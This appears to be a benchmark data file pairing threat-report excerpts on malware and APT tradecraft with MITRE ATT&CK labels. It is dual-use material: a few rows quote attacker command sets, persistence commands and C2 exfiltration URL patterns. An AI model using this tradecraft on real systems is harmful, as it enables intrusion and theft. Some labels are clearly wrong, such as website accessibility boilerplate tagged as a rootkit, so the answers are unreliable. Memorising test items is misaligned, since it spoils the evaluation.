"Orangeworm likely uses this information to determine whether the system is used by a researcher or if the victim is a high-value target. Once Orangeworm determines that a potential victim is of interest, it proceeds to aggressively copy the backdoor across open network shares to infect other computers",['T1021.002 - Remote Services: SMB/Windows Admin Shares'],eval_config
The binary used the same string obfuscation technique - - Malicious document VBA code similarities with what’s shown in the screenshots - Digital signature signer name EGIS CO,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],eval_config
"A new feature implemented in the WinHttp channel is a Domain Generation algorithm (DGA) for fallback domains. Unlike the usual DGA that retrieves its seed from pseudo-random numbers, this one gets a given seed (probably generated at compilation) for a given sample. The way that domains are generated is as follows",['T1568.002 - Domain Generation Algorithms'],eval_config
"This sample included a novel C2 channel that used the Exchange Web Services (EWS) API to send and receive emails containing steganographic images as attachments. This novel C2 channel supplemented the HTTP and DNS tunneling C2 channels seen in other RDAT samples, all of which we will discuss in detail in the upcoming sections",['T1041 - Exfiltration Over C2 Channel'],eval_config
"GALLIUM does not typically use a traditional first stage installer for their malware. Instead, the group relies heavily on web shells as a first method of persistence in a victim network following successful exploitation. Subsequent malware is then delivered through existing web shell access",['T1505.003 - Server Software Component: Web Shell'],eval_config
"The dropper installs the Bisonal EXE file and decoy PDF file. These files are not encrypted and the offset to the EXE and PDF file in the dropper is appended at the end of the dropper file. The file name of the decoy file is based on the dropper file name. The dropper code creates a PDF at the same directory, give the same name with itself to the decoy file, removes .exe and adds .pdf in the code. The dropper also creates two VBS scripts in the %Temp% directory with a random 4 digits hexadecimal name. One of them opens the decoy PDF file. The other deletes the dropper and the VBS script itself",['T1059.005 - Command and Scripting Interpreter: Visual Basic'],eval_config
"Usually TLS operates in simple mode, which only requires a server to carry out authentication. Mutual TLS means the malware has a trusted SSL certificate hardcoded in its binary that it uses to check the certificate provided by the C2; the malware also forwards its own hardcoded certificate to the C2 that the C2 checks. So long as both the C2 and the malware accept the provided certificates then communications will be encrypted using TLS, otherwise the connection will be rejected and the malware will not be able to communicate with the C2","['T1587.003 - Digital Certificates', 'T1573.002 - Asymmetric Cryptography']",eval_config
"This is a legitimate file, AVDump32.exe, digitally signed by “AVAST Software” as shown in figure 8",['T1553.002 - Code Signing'],eval_config
Most of the important API calls resolve dynamically during the run time using “string_decryptor” function. 288 API calls have been resolved dynamically,['T1106 - Native API'],eval_config
"Five days after data was exfiltrated from a victim environment the actor copied a MAZE ransomware binary to 15 hosts within the victim environment and successfully executed it on a portion of these systems. Attackers employed batch scripts and a series to txt files containing host names to distribute and execute MAZE ransomware on many servers and workstations across the victim environment. An actor deployed MAZE ransomware to tens of hosts, explicitly logging into each system using a domain administrator account created earlier in the intrusion. Immediately following the exfiltration of sensitive data, the actors began deployment of MAZE ransomware to hosts across the network. The encryption process proceeded as follows: A batch script named start.bat was used to execute a series of secondary batch scripts with names such as xaa3x.bat or xab3x.bat. A batch script named start.bat was used to execute a series of secondary batch scripts with names such as xaa3x.bat or xab3x.bat",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
"Messages sent from a client mimic the HTTP protocol, but note the invalid “HIDE” HTTP verb in the example in Figure 7",['T1001.003 - Protocol or Service Impersonation'],eval_config
"Read more . BUSINESS INSIGHTS . Deep dive into a FIN8 attack – A forensic investigation . During a recent investigation, our researchers encountered a new version of the BADHATCH malware used by the well-known threat actor, FIN8. We previously reported that FIN8 was working on a new version of the BADHATCH malware - and this recent attack supports our findings and conclusions. The objective of this blog post is to provide insights into an attempted attack by FIN8 on one of our customers, and how we worked with the customer to thwart the attack before it could fully develop. They engaged in lateral movement by using the WMIC utility for remote code execution (a built-in Windows tool). WMIC (wmic.exe) was used to create a remote command prompt instance (cmd.exe), which then executed the PowerShell code. The PowerShell command created two variables and attempted to download and execute the payload from one of FIN8’s Command and Control (C&amp;C) servers. While this service is legitimate and widely used, the malware abused it in an attempt at evading detection when connecting to C&amp;C servers. To achieve persistency, they used WMI Event Subscription with a few different WMI objects. The decrypted script is used to select a .NET binary based on the architecture type (x86 or x64), create WMI objects used for persistence (described later) and create a WMI event trigger. The first object (root\cimv2\Win32_Base64Class) has a property Prop that contains the code of the payload. This is used to store the payload in the WMI object",['T1047 - Windows Management Instrumentation'],eval_config
"After the first shellcode creates the RegAsm process and injects a second shellcode into it, it will execute the API call NtResumeThread to activate the second shellcode within the RegAsm memory",['T1055 - Process Injection'],eval_config
"Responsible for changing passwords of all user accounts in the system - Drops .cmd scripts, which are responsible for deleting volume shadow copies, logging off the user, wiping deleted data and adding registry entries for ransom contact information - Responsible for the malware’s typical ransomware payload routines","['T1112 - Modify Registry', 'T1531 - Account Access Removal']",eval_config
"The data in ""shinu"" parameter is a combination of the system's tickcount, local IP address, operating system version, keyboard layout and the contents of %WINDOWS%\inf\netimm173.pnf. The C2 server can respond to this HTTP request with one of the following two commands",['T1082 - System Information Discovery'],eval_config
Smoke Loaded adds its current sample and all other downloaded executables to the Windows registry. Names of the keys are randomly chosen among the names of existing entries,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
Figure 11: Using Wireshark to find 58 kB of encoded data returned from the C2 server at 185.141.61[.]246,['T1102.001 - Dead Drop Resolver'],eval_config
"Both Cloud Atlas and RedOctober malware implants rely on a similar construct, with a loader and the final payload that is stored encrypted and compressed in an external file. There are some important differences though, especially in the encryption algorithms used – RC4 in RedOctober vs AES in Cloud Atlas",['T1027 - Obfuscated Files or Information'],eval_config
launchctl load /Library/LaunchDaemons/filename.plist &gt; /dev/nul or launchctl load ~/Library/LaunchAgents/ filename.plist &gt; /dev/nul will then command the operating system to start the dropped backdoor file at login. The dropper will delete itself at the end of the process,['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
the malware used by the attacker pretends to be the xmlprov Network Provisioning Service. This service manages XML configuration files on a domain basis for automatic network provisioning,['T1036.004 - Masquerading: Masquerade Task or Service'],eval_config
"cmd /c pull &lt;filename&gt;: Adds filename to temp.zip, Base64 encodes, and uploads to control server - cmd /c chip &lt;string&gt;: Deletes current ipnet.ini config file. cmd /c put &lt;new_file_name&gt; &lt;existing_file_name&gt;: Copies existing file to new file name. Deletes existing file. user &lt;parameters&gt;: Executes downloaded file with parameters specified using CreateProcessAsUser - cmd /c &lt;command&gt;: Executes command on infected endpoint",['T1546.009 - Event Triggered Execution: AppCert DLLs'],eval_config
The initial backdoor is deployed using a decoy document containing a macro. Here are some examples of the content delivered to the victims: The observed content has some common characteristics like the attempt to impersonate National entities; the four documents mimics,['T1204.002 - User Execution: Malicious File'],eval_config
"The embedded configuration is encrypted and the payload decrypts it by first using a custom rolling XOR algorithm to decrypt a key and a buffer of ciphertext, resulting in a key and ciphertext that appears encoded with base64. It will then generate the SHA256 hash of the base64 encoded key and use the fourth through the 28th bytes of the resulting hash as the final key. The payload will base64 decode the ciphertext and use the final key to decrypt the decoded ciphertext using Triple DES (3DES), which results in a configuration that is structured in JSON",['T1140 - Deobfuscate/Decode Files or Information'],eval_config
"The threat actors manipulated LNK files, commonly known as a Microsoft Window’s shortcut file, to repeatedly gather user credentials. The threat actors exploited this built-in Windows functionality by setting the icon path to a remote server controller by the actors. When the user browses to the directory, Windows attempts to load the icon and initiate an SMB authentication session. During this process, the active user’s credentials are passed through the attempted SMB connection",['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],eval_config
"Computer name and network adapters information - Disk space information for disks C: through Z: including total memory in bytes, total available memory in bytes, etc. Current memory status including total physical memory in bytes, total available memory, etc. Domain name and usernames based on current remote sessions","['T1082 - System Information Discovery', 'T1016 - System Network Configuration Discovery']",eval_config
"The run command (1) creates the process cmd.exe /c with the command parameters appended and will write the output of the command in hexadecimal format to the file %APPDATA%\tmpCa.vbs. The Trojan will then read the hexadecimal formatted contents of this file in 1500 byte blocks, sending each 1500 bytes of data from the file to the C2 server via an HTTP GET request to a URL with the following structure: http://&lt;c2 domain&gt;/resp. hex(Environment.UserName/Environment.MachineName)&gt;AAZ&lt;hex(command prompt output)&gt; The upload command (2) writes data provided by the C2 to a specified file. hex(Environment.UserName/Environment.MachineName)&gt;AAZ&lt;hex(""File Uploaded"")&gt; The download command (3) reads the contents of a specified file and sends the data to the C2 server. If the file does not exist, the Trojan will send the C2 server a message &lt; File Not Found &gt; by sending the following URL: http://&lt;c2 domain&gt;/resp. hex(Environment.UserName/Environment.MachineName)&gt;AAZ&lt;hex(""&lt; File Not Found &gt;"")&gt; If the file exists, the Trojan will read the contents of the specified file and compresses the contents using the GZipStream class. The Trojan then gets the hexadecimal values of the compressed data and will replace the following hexadecimal values on each line with ASCII characters to further compressed the data",['T1560.001 - Archive Collected Data: Archive via Utility'],eval_config
"The dropper then attempts to open the service manager on each remote system to start the RemoteRegistry service, which it will connect to using RegConnectRegistryW. Once connected, the dropper attempts to disable UAC (User Access Control) remote restrictions by setting the following registry key to a value of ""1","['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control', 'T1112 - Modify Registry']",eval_config
"To increase its level of stealth, the malware protects itself from the eyes of administrators and analysts by encrypting its strings, internal files, configuration data and network communication. While the RC2FM module uses a handful of custom ciphers, the wrapper DLL and the RC2CL module share one particular routine for all purposes, especially for decrypting other malware modules embedded in the wrapper DLL",['T1027 - Obfuscated Files or Information'],eval_config
"NOBELIUM has been observed modifying Azure AD to enable long-term persistence and access to sensitive information. This can include the creation of users, consent of Azure AD applications, granting of roles to users and applications, creation of additional service principal credentials, and more. In one incident, MSTIC observed the use of Azure RunCommand, paired with Azure admin-on-behalf-of (AOBO), as a technique to gain access to virtual machines and shift access from cloud to on-premise. NOBELIUM has demonstrated an ongoing interest in targeting privileged users, including Global Administrators",['T1090.003 - Proxy: Multi-hop Proxy'],eval_config
"Both use SSL to communicate with their C2 servers, and it appears they share common code to carry out the Diffie Hellman key exchange",['T1095 - Non-Application Layer Protocol'],eval_config
"Brave Prince is a Korean-language implant that contains similar code and behavior to the Gold Dragon variants, specifically the system profiling and control server communication mechanism. The malware gathers detailed logs about the victim’s configuration, contents of the hard drive, registry, scheduled tasks, running processes, and more. Brave Prince was first observed in the wild December 13, 2017, sending logs to the attacker via South Korea’s Daum email service",['T1082 - System Information Discovery'],eval_config
"It allows the attacker to not only see the active screen of the infected user but also be able to take control of the mouse and keyboard, using it as though they were sitting in front of the system itself",['T1021.001 - Remote Services: Remote Desktop Protocol'],eval_config
"PlugX — A remote access tool notable for communications that may contain HTTP headers starting with ""X-"" (e.g. X-Session: 0""). Its presence on a compromised system allows a threat actor to execute a wide variety of commands, including uploading and downloading files, and spawning a reverse shell. DLL side loading is often used to maintain persistence on the compromised system. Its presence on a compromised system allows a threat actor to spawn a reverse shell, upload or download files, and capture keystrokes. DLL side loading has been used to maintain persistence on the compromised system. Source: Dell SecureWorks) - ChinaChopper web shell — A web-based executable script (see Figure 4) that allows a threat actor to execute commands on the compromised system. The server-side component provides a simple graphical user interface for threat actors interacting with web shells. ChinaChopper web shell. shown in Figure 4, are required to interact with the web shell. TG-3390 has used additional web shells containing similarly formatted passwords",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
"In an attempt to hide the contents of the stolen data, the threat actor used winrar to compress and password-protect it. The winrar binaries and compressed data were found mostly in the Recycle Bin folder, a TTP that was previously observed in APT10-related attacks, as well as others. This threat actor is known to stage the data in multi-part archives before exfiltration","['T1560.001 - Archive Collected Data: Archive via Utility', 'T1074.001 - Data Staged: Local Data Staging']",eval_config
"FoggyWeb is stored in the encrypted file Windows.Data.TimeZones.zh-PH.pri, while the malicious file version.dll can be described as its loader",['T1083 - File and Directory Discovery'],eval_config
"PsExec is a light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. PsExec's most powerful uses include launching interactive command-prompts on remote systems and remote-enabling tools like IpConfig that otherwise do not have the ability to show information about remote systems. Note: some anti-virus scanners report that one or more of the tools are infected with a ""remote admin"" virus. Using PsExec . See the July 2004 issue of Windows IT Pro Magazine for Mark's article that covers advanced usage of PsExec. Runs on: Recommended content . - Autologon - Windows Sysinternals Bypass password screen during logon. BgInfo - Windows Sysinternals This fully-configurable program automatically generates desktop backgrounds that include important information about the system. PsTools - Windows Sysinternals Command-line utilities for listing the processes running on local or remote computers, running processes, rebooting computers, and more. SDelete - Windows Sysinternals Securely overwrite your sensitive files and cleanse your free space of previously deleted files using this DoD-compliant secure delete program. Sysmon - Windows Sysinternals Monitors and reports key system activity via the Windows event log. Remotely edit the registry - Windows Server Describes how to remotely edit the registry of a client computer from a host computer after you use Remote Recover to connect the host computer to the client computer",['T1569.002 - System Services: Service Execution'],eval_config
"KPortScan – a GUI-based portscanner - PsExec – a tool to remotely execute commands on Windows systems - Batch files for enabling RDP and bypassing firewall rules - Procdump – a tool to dump process memory, along with a batch file to dump the lsass process for password extraction - Mimikatz – a tool to dump passwords and hashes - The Eternal suite of exploits, along with batch files for rapid scanning and exploitation - Nirsoft Mail PassView – a tool to dump saved mail passwords - Nirsoft Network Password Recovery – a tool to dump saved Windows password - Nirsoft Remote Desktop PassView – a tool to dump saved RDP passwords - Nirsoft SniffPass – a tool to sniff the network for passwords sent over insecure protocols - Nirsoft WebBrowserPassView – a tool to dump passwords stored in a variety of browsers",['T1040 - Network Sniffing'],eval_config
This is the detection for the infected .EXE and .PDF files related to the URSNIF variant that steals information. The said information-stealing infector (detected as PE_URSNIF.A-O) has affected countries such as US and UK,['T1105 - Ingress Tool Transfer'],eval_config
The final payload is a .NET DLL file designed to steal documents and images with the following extensions,['T1119 - Automated Collection'],eval_config
"Whitefly first infects its victims using a dropper in the form of a malicious .exe or .dll file that is disguised as a document or image. These files frequently purport to offer information on job openings or appear to be documents sent from another organization operating in the same industry as the victim. Given the nature of disguise, it’s highly likely that they are sent to the victim using spear-phishing emails",['T1204.002 - User Execution: Malicious File'],eval_config
"Malware Analysis Malware Dropper The dropper executable file in the Russian attack hides the encrypted Bisonal DLL file and non-malicious decoy file at the end of its body. Once executed, the dropper decrypts the data blob using the RC4 cipher with the key, “34123412”, saves them in the path shown below and executes them",['T1027 - Obfuscated Files or Information'],eval_config
"We saw a Waterbear loader named ""ociw32.dll"" inside one of the folders in the %PATH% environmental variable. mtxoci.dll” first tries to query the registry key ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI"" to see if the value ""OracleOciLib"" exists. If the value doesn't exist, “mtxoci.dll” tries to load ""ociw32.dll"" instead. During our investigation, we noticed that the value ""OracleOciLib"" was deleted from the victim's machine, as shown in Figure 2",['T1012 - Query Registry'],eval_config
"Mustang Panda is a well-known APT with a long history of targeting non-governmental organisations (NGOs). It utilizes shared malware like Poison Ivy, PlugX and Cobalt Strike payloads in order to gather intelligence. Since 2008, PlugX as a RAT (Remote Access Trojan) malware family has been used as a backdoor to control the victim’s machine fully. Once the device is infected, an attacker can remotely execute several kinds of commands on the affected system to retrieve machine information, capture the screen, manage services, and manage processes",['T1082 - System Information Discovery'],eval_config
"The file destruction algorithm is composed of two stages: a first stage to overwrite files and another to destroy the physical disk layout and the partition tables along with it. For the file destruction, it takes ownership of the files by modifying their ACL entries after it has obtained the 'SeTakeOwnershipPrivilege'. A file found will then simply be overwritten with zeros. The wiper will then move on to the next drive on the system beginning with the ""D"" drive. It will recursively gain rights to files on a drive and overwrite them with zeros. This is done for the next 23 drives alphabetically (through ""Z:\""). On the second stage, the wiper attempts to set the drive layout of all the physical drives on the system numbered 9 to 0. This will wipe out all extended information about the physical drive's partitions including MBR, GPT and partition entries",['T1485 - Data Destruction'],eval_config
"OFF ON Vision Impaired Profile Enhances website's visuals This profile adjusts the website, so that it is accessible to the majority of visual impairments such as Degrading Eyesight, Tunnel Vision, Cataract, Glaucoma, and others. Users can also use shortcuts such as “M” (menus), “H” (headings), “F” (forms), “B” (buttons), and “G” (graphics) to jump to specific elements.Note: This profile prompts automatically for keyboard users. We utilize an accessibility interface that allows persons with specific disabilities to adjust the website’s UI (user interface) and design it to their personal needs. This application remediates the website’s HTML, adapts its functionality and behavior for screen-readers used by blind users, and for keyboard functions used by individuals with motor impairments. Vision Impaired Profile: this profile adjusts the website so that it is accessible to the majority of visual impairments such as Degrading Eyesight, Tunnel Vision, Cataract, Glaucoma, and others. Cognitive Disability Profile: this profile provides various assistive features to help users with cognitive disabilities such as Autism, Dyslexia, CVA, and others, to focus on the essential elements more easily. Users can also use shortcuts such as “M” (menus), “H” (headings), “F” (forms), “B” (buttons), and “G” (graphics) to jump to specific elements. 7) Additional functions – we allow users to change cursor color and size, use a printing mode, enable a virtual keyboard, and many other functions. If you wish to contact the website’s owner, please use the website's form . Hide Accessibility Interface. Please note: If you choose to hide the accessibility interface, you won't be able to see it anymore, unless you clear your browsing history and data",['T1014 - Rootkit'],eval_config
"We believe that the threat actors behind the Frankenstein campaign are moderately sophisticated and highly resourceful. The actors' preference for open-source solutions appears to be part of a broader trend in which adversaries are increasingly using publicly available solutions, possibly to improve operational security. These obfuscation techniques will require network defenders to modify their posture and procedures to detect this threat. This report outlines the various anti-detection techniques used throughout the Frankenstein campaign. Some of these techniques included checking to see if any analysis tools, such as Process Explorer, were running in the background and determining whether the sample was inside of a virtual machine. The threat actors also took additional steps to only respond to GET requests that contained predefined fields, such as a non-existent user-agent string, a session cookie, and a particular directory on the domain. The threat actors also used different types of encryption in order to protect data in transit",['T1518.001 - Software Discovery: Security Software Discovery'],eval_config
The malware is typically spread via malspam campaigns containing a URL that directs recipients to an infection zone. The first stage of infection is a loader component. Our team located a number of loaders used by Grandoreiro attackers masked as invoice files with a .msi extension and placed into an easily accessible GitHub repository. The second stage of the infection fetches the Grandoreiro payload via a hardcoded URL within the loader’s code. Grandoreiro is executed and infects the device,['T1105 - Ingress Tool Transfer'],eval_config
"First, the ""packager trick"" is leveraged in order to embed the initial QuasarRAT dropper (qrat.exe) in the malicious RTF document. Its called the ""packager trick"" because any file embedded in an RTF file using packager will be automatically dropped to the %tmp% folder (c:\Users\%username%\AppData\Local\Temp) when the RTF document is opened. Second, the threat actors exploit CVE-2017-8570 to achieve code execution via a malicious ""scriptlet"" file, or .sct file, which is also embedded in the malicious RTF document. The contents of the malicious scriptlet file (displayed below) clearly show the threat actor executing the initial ""qrat.exe"" dropper from the current user's %tmp% directory",['T1036.005 - Masquerading: Match Legitimate Name or Location'],eval_config
"For the first execution of the malware, it creates the file set.txt with {System_Parametrs = 10} inside and creates the Windows registry entry",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
"As we can see, this particular sample is configured with a single command and control (C2) server, however, we have seen other samples with multiple host and port combinations. We can also identify a communication key in it, which is crucial when discussing network communications",['T1008 - Fallback Channels'],eval_config
"TA505 has been using Excel file, Word document, or .WIZ files as its attack entry point. However, as mentioned earlier, the group has also started to attach an HTML link in emails to trick users into opening the Excel file","['T1069 - Permission Groups Discovery', 'T1204.001 - Malicious Link']",eval_config
T1610 Deploy Container—Payload is delivered via an ISO file which is mounted on target computers. T1204.001 User Execution: Malicious Link—Cobalt Strike Beacon payload is executed via a malicious link (LNK) file,['T1566.002 - Phishing: Spearphishing Link'],eval_config
"CTU analysis of one of GOLD KINGSWOOD's campaign using SpicyOmelette (DOC2018.js) exposed additional sophisticated methods to compromise targets. Depending on the security profile of the victim's system, a pop-up notification may have warned about running external content",['T1059.007 - Command and Scripting Interpreter: JavaScript'],eval_config
"Phishing emails continued to use links to external ZIP or RAR archives, which ultimately contained an executable with the extension SCR. SPEAR identified the following URLs were used in phishing attempts",['T1566.002 - Phishing: Spearphishing Link'],eval_config
"This method collects additional data from the infected machine, such as its public IP address, computer name, and the installed Windows version",['T1016 - System Network Configuration Discovery'],eval_config
"Secondly, the CPU temperature check seen in this payload was previously used by GravityRAT, as discussed earlier this year by security researchers at Talos. They noted that while virtual machines were detected by this technique, some physical systems were also detected as virtual machines because they did not support the WMI query. This suggests that other WMI-based VM detection techniques may also detect certain physical systems if those systems do not support the specific WMI query. The last technique that was particularly interesting is the time zone check, as the Trojan will not execute its functional code if the system does not have a specific time zone set. The fact that the Trojan will not operate on systems that are not configured with these time zones suggests that this is a highly targeted attack focused on a specific subset of target nations",['T1124 - System Time Discovery'],eval_config
"The macro passes a Base64-encoded command to Windows PowerShell, which gathers system information via Windows Management Instrumentation (WMI), and attempts to determine the installed version of .NET by querying the registry (full script available in Appendix A: Stage One PowerShell Command","['T1082 - System Information Discovery', 'T1047 - Windows Management Instrumentation']",eval_config
"Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. xxmm (also known as Minzen) — This RAT and likely successor to Daserf AES-encrypts HTTP communications using a one-time encryption key. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. CTU researchers identified an xxmm builder for xxmm (see Figure 2), which suggests that the threat actors customize the xxmm malware settings based on the target. Source: Secureworks) - RarStar — This custom tool uploads RAR archives to a specified URL as POST data (see Figure 6). RarStar encodes the POST data using Base64 and a custom XOR algorithm. Windows Credential Editor (WCE) — This tool obtains passwords from memory. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. WinRAR — This tool extracts tools for lateral movement and compresses data for exfiltration. When exfiltration is complete, the uploader (or Datper or xxmm) immediately uses the del command to delete the RAR archives. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity",['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],eval_config
"Clop ransomware shows some characteristics that enterprises are its intended targets instead of end consumers. The authors displayed some creative technical solutions, to detect the victim’s language settings and installed programs. On the other hand, we also noticed some weird decisions when it came to coding certain functionalities in the ransomware. Unfortunately, it is not the first time that criminals will make money with badly programmed malware",['T1614.001 - System Location Discovery: System Language Discovery'],eval_config
"The malware arrives via an email disguised as a tax incentive notification from a major financial services company. This email includes a macro enabled (XLSM) Microsoft Excel spreadsheet attachment (detected as Trojan.W97M.MERETAM.A) that purportedly contains the details of the tax incentive. However, as these attachments usually go, this macro is malicious and will download and deploy Trickbot on the user’s machine once activated","['T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1566.001 - Phishing: Spearphishing Attachment']",eval_config
"The adversary has changed their deployment methodology and now they use a loader mechanism called ""runner"" to execute the payload. Upon execution, the loader will search for files with the extension .stubbin in its execution directory, this file contains the SamSam encrypted .NET Assembly payload. Upon reading the file, the loader decrypts the payload with the password supplied as the first argument and executes it, passing the remaining arguments. Comparing both the Initialization Vector (IV) and the code structure it seems like it may have been derived from an example posted on the Codeproject.com website. As you can seen in the images below, the IV used for the Rijndael encryption is the same in both implementations (posted code in hexadecimal, reversed code in decimal due to decompiler implementation",['T1027 - Obfuscated Files or Information'],eval_config
"For the first time, the ROKRAT sample used during the ""North Korean Human Rights"" contained a browser credentials stealer. The malware is able to extract the stored passwords from Internet Explorer, Chrome and Firefox. For Chrome and Firefox, the malware queries the sqlite database containing the URL, username and password: Additionally, they support the Microsoft Vault mechanism. Vault was implemented in Windows 7, it contains any sensitive data (like the credentials) of Internet Explorer. Here is the initialization of the Vault APIs: On the left, we have the ROKRAT sample and on the right the FreeMilk sample",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],eval_config
"9, 2020, CARBON SPIDER attempted to run the Darkside ransomware with the filename sleep.exe. This filename may reflect an attempt to masquerade as the legitimate Windows executable with the same name",['T1036.005 - Masquerading: Match Legitimate Name or Location'],eval_config
"AppLocker works well for executables and over time it has also been improved to control various script types, including JScript, PowerShell and VBScript. This has significantly reduced the attack surface and forced attackers, including more sophisticated groups, to find new methods of launching executable code. A number of legitimate Windows executables that are not blocked by the default AppLocker policies has been discovered and various proof of concept AppLocker bypass code became publicly available. The Microsoft Connection Manager Profile Installer (cmstp.exe) is a command-line program used to install Connection Manager service profiles. A malicious INF file can be supplied as a parameter to download and execute remote code. Example malicious INF file to load a remote SCT file Cmstp may also be used to load and execute COM scriptlets (SCT files) from remote servers. Example of malicious scriptlet file used to drop a malicious DLL dropper for the next stage Microsoft allows developers to create COM+ objects in script code stored in an XML document, a so-called scriptlet file. To bypass AppLocker and launching script code within a scriptlet, the attacker includes the malicious code within an XML script tag placed within the registration tag of the scriptlet file and calls cmstp with appropriate parameters. For example: Here, the attackers randomize the scriptlet name and use a .txt filename extension, likely in an attempt to bypass fundamental protection mechanisms that attempt to block file types based on the filename extension. Payload dropper in an XSL file Another executable used to attempt bypass of the AppLocker feature is msxsl.exe, a Windows utility used to run XSL (eXtensible Stylesheet Language) transformations",['T1218.003 - Signed Binary Proxy Execution: CMSTP'],eval_config
"Listening for Commands We analyzed RGDoor samples and found that the ""RegisterModule"" function does very little other than calling the IHttpModuleRegistrationInfo::SetRequestNotifications method. If present, the code uses the two-bytes immediately following the ""RGSESSIONID="" string as a decryption key, specifically treating the two character bytes as a single hexadecimal byte. The key is followed by a Base64 encoded string that contains ciphertext. The custom algorithm iterates through the ciphertext using the 'pxor' instruction to XOR each byte of ciphertext with the single-byte hexadecimal value from the two-byte character key provided in the cookie field. The code will parse the cleartext looking for one of three commands: “cmd$”, “upload$” and “download$”. The code treats the string immediately following the command as the command’s argument",['T1140 - Deobfuscate/Decode Files or Information'],eval_config
"Active since 2012, it has so far targeted Taiwanese government agencies and private organizations. PLEAD uses spear-phishing emails to deliver and install their backdoor, either as an attachment or through links to cloud storage services. Some of the cloud storage accounts used to deliver PLEAD are also used as drop off points for exfiltrated documents stolen by DRIGO",['T1566.002 - Phishing: Spearphishing Link'],eval_config
The two-stage malware overwrites the Master Boot Record (MBR) on victim systems with a ransom note (Stage 1). The MBR is the part of a hard drive that tells the computer how to load its operating system. The ransom note contains a Bitcoin wallet and Tox ID (a unique account identifier used in the Tox encrypted messaging protocol) that have not been previously observed by MSTIC,['T1542.003 - Bootkit'],eval_config
1) Persistence via PowerShell 2) Persistence via the Run registry key 3) Persistence via a .lnk file stored in the Startup directory,"['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",eval_config
"This is just what has been happening for the past few months, where a group using two well-known backdoors — Buhtrap and RTM — as well as ransomware and cryptocurrency stealers, has targeted organizations, mainly in Russia. Yandex.Direct is its online advertising network",['T1189 - Drive-by Compromise'],eval_config
"After connecting to a C2 server, the malware uses a custom encrypted protocol over TCP port 80 through the Tor circuit to transmit encryption keys, to allow victims to communicate with the operators, and to check payment status",['T1573.002 - Asymmetric Cryptography'],eval_config
"Once installed, BLINDINGCAN will collect user and system information before sending it to a command and control server using HTTP POST requests. By default, BLINDINGCAN is able to",['T1041 - Exfiltration Over C2 Channel'],eval_config
"Once executed, the ransomware follows the typical routine of encrypting files and appending them with the suffix .seth, before dropping a ransom note",['T1486 - Data Encrypted for Impact'],eval_config
"Before the malware starts interacting with the command and control server, it ensures that any other related files produced by a previous instance of the loader will not cause any issues. As a result the loader appends the string ‘_lyrt’ to its current file path and deletes any file with this name. Next, the loader searches for the parameter ‘-p’ in the command line and if found, it deletes the scheduled task ‘StartDT’. The loader creates this scheduled task later for persistence during execution. The loader also attempts to execute hijacked shortcut files, which will eventually execute an instance of Team9 loader",['T1070 - Indicator Removal on Host'],eval_config
"After an initial dormant period of up to two weeks, it retrieves and executes commands, called “Jobs”, that include the ability to transfer files, execute files, profile the system, reboot the machine, and disable system services. The malware masquerades its network traffic as the Orion Improvement Program (OIP) protocol and stores reconnaissance results within legitimate plugin configuration files allowing it to blend in with legitimate SolarWinds activity",['T1001.003 - Protocol or Service Impersonation'],eval_config
"SMOKEDHAM used PowerShell to connect to third-party file sharing sites to download the UltraVNC application renamed as winvnc.exe, and a configuration file named UltraVNC.ini, shown in Figure 8. These files were saved to the %APPDATA%\Chrome\ directory. The UltraVNC.ini file allowed UltraVNC to connect to port 6300 on the loopback address specified by the parameter AllowLoopback=1",['T1105 - Ingress Tool Transfer'],eval_config
mshlpweb.dll utilize a set of standard windows API calls to duplicate the token of wusa.exe and use it to spawn high integrity instance of cmd.exe,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],eval_config
"The winupdate.ps1 script (SHA256: 36862f654c3356d2177b5d35a410c78ff9803d1d7d20da0b82e3d69d640e856e) is the main payload of this attack that we call RogueRobin. Its developer used the open source Invoke-Obfuscation tool to obfuscate this PowerShell script, specifically using the COMPRESS technique offered by Invoke-Obfuscation. Before carrying out any of its functionality the payload checks to see if it is executing in a sandbox. The payload uses WMI queries and checks running processes for evidence that the script may be executing within an analysis environment",['T1027 - Obfuscated Files or Information'],eval_config
"The macro executes this payload in a rather interesting way by loading the dropped ~temp.docm document and calling a function within its embedded macro to run the payload. We believe the creator of this delivery document chose to run the payload from the dropped file as an evasion technique. Also, the fact the initial macro uses this dropped document for the execution of the payload may also explain why the document did not contain any decoy contents",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],eval_config
"The Bazar loader files are dual-extension executable files (such as PreviewReport.DOC.exe) signed with fake certificates such as VB CORPORATE PTY. This is consistent with the Trickbot group, which notoriously abuses the trust of certificate authorities by using signed loaders and malware to evade security product detection. Signed malware was seen in Trickbot-Anchor infections and will continue to play a role in future campaigns due to the ease of obtaining code-signing certificates and their effectiveness in evading security products",['T1553.002 - Code Signing'],eval_config
"While these two Trojans share code, we consider Emissary and Elise separate tools since their configuration structure, command handler and C2 communications channel differ. The Emissary Trojan delivered in this attack contains the components listed in Table 1. At a high level, Emissary has an initial loader DLL that extracts a configuration file and a second DLL containing Emissary’s functional code that it injects into Internet Explorer",['T1055.001 - Process Injection: Dynamic-link Library Injection'],eval_config
